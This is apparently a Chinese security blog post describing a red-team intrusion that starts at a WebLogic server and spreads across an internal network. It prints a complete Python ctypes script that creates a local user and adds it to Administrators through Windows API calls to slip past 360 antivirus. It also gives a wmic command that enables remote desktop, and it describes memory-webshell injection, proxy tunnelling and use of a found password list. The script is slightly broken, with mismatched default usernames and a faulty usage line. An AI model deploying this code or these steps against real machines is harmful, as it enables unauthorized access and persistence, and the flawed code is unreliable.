突破 Weblogic盘下整个内网
2024-7-3 19:7:18 Author: mp.weixin.qq.com(查看原文) 阅读量:10 收藏

0

免责声明

文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由用户承担全部法律及连带责任,文章作者不承担任何法律及连带责任。

01

正文

演练中找到一处weblogic404报错,使用很多工具都没有利用成功,通过github找到weblogic一把梭哈利用工具,命令执行失败,随手尝试一发注入内存马,居然有返回,真是梭哈出奇迹。

信息收集发现Windows2003带360主动防御。

用一下Github上老表的frp,给这360过了。

https://github.com/seventeenman/Forest

代理有了就开始内网大操作了。

既然权限够高。直接python编写windows-api绕过360创建用户。

import ctypesfrom ctypes import wintypesfrom ctypes import *import sys

USER_PRIV_GUEST = 0USER_PRIV_USER = 1USER_PRIV_ADMIN = 2UF_SCRIPT = 1UF_NORMAL_ACCOUNT = 512LPBYTE = POINTER(c_byte)

class USER_INFO_1(ctypes.Structure): _fields_ = [ ( 'usri1_name', wintypes.LPWSTR), ( 'usri1_password', wintypes.LPWSTR), ( 'usri1_password_age', wintypes.DWORD), ( 'usri1_priv', wintypes.DWORD), ( 'usri1_home_dir', wintypes.LPWSTR), ( 'usri1_comment', wintypes.LPWSTR), ( 'usri1_flags', wintypes.DWORD), ( 'usri1_script_path', wintypes.LPWSTR)]

class _LOCALGROUP_MEMBERS_INFO_3(ctypes.Structure): _fields_ = [ ( 'lgrmi3_domainandname', wintypes.LPWSTR)]

def adduser(username='admin1234', password='admin@1234'): ui = USER_INFO_1() ui.usri1_name = username ui.usri1_password = password ui.usri1_priv = USER_PRIV_USER ui.usri1_home_dir = None ui.usri1_comment = None ui.usri1_flags = UF_SCRIPT ui.usri1_script_path = None a = ctypes.windll.Netapi32.NetUserAdd(None, 1, ui, None) if a == 0: print("tambah pengguna success : nama={} kata laluan={}".format(username,password)) else: print('tambah pengguna pengguna ralat') return

def addgroup(username='Test1234', groupname='Administrators'): name = _LOCALGROUP_MEMBERS_INFO_3() name.lgrmi3_domainandname = username ctypes.windll.Netapi32.NetLocalGroupAddMembers.argtypes = ( wintypes.LPCWSTR, wintypes.LPCWSTR, wintypes.DWORD, LPBYTE, wintypes.DWORD) b = ctypes.windll.Netapi32.NetLocalGroupAddMembers(None, groupname,3, LPBYTE(name),1) if b == 0: print("Tambah ke kumpulan success : nama={} kumpulan={}".format(username,groupname)) else: print('Tambah ke kumpulan ralat') return

def main(): if len(sys.argv) == 1: adduser() addgroup() elif len(sys.argv) == 3: adduser(str(sys.argv[1]), str(sys.argv[2])) addgroup(str(sys.argv[1])) elif len(sys.argv) == 4: adduser(str(sys.argv[1]), str(sys.argv[2])) addgroup(str(sys.argv[1]), str(sys.argv[3])) else: print('usage: {} username password').format(sys.argv[1]) print('usage: {} username password groupname').format(sys.argv[1])

if __name__ == '__main__': main()
wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 1

上来桌面就给他360退了,创建号用户上来看一眼桌面,这位阿瑟电脑上真干净。(好像看到了qax公司得天擎,不过没有关系,关不掉可以改拦截规则)

横向找到另一台Weblogic

相同操作,拿到另一台远程桌面。

啊????这就是传说中的,密码本。

猜测打到运维机了,使用SelectMyParent切入到administrator桌面,简直辣眼睛。

临近YL结束,跟着密码本翻阅了所有机器,没有拿下靶标。

该收工了,从通讯录拿到靶标系统负责人,给钓鱼老表留个言,我就撤了。

02

总结

经过很多年GFYL,各地EDR也是部署相当完备,免杀绕过杀软EDR也慢慢成为家常便饭,这里也只是提供一种短小精悍得绕过思路。

如果你是一个长期主义者,欢迎加入我的知识星球,我们一起往前走,每日都会更新,精细化运营,微信识别二维码付费即可加入,如不满意,72 小时内可在 App 内无条件自助退款
前面有同学问我有没优惠券,这里发放100张100元的优惠券,用完今年不再发放

往期回顾

dom-xss精选文章

年度精选文章

Nuclei权威指南-如何躺赚

漏洞赏金猎人系列-如何测试设置功能IV

漏洞赏金猎人系列-如何测试注册功能以及相关Tips


文章来源: https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247495102&idx=1&sn=08ac77f07c4092dc01fe4f6c47bb0b9c&chksm=e8a5e7dddfd26ecbf41a0bf647885e13e7555297d1061c6ab4c9eba6e57fbce911e1b5c27d92&scene=58&subscene=0#rd
如有侵权请联系:admin#unsafe.sh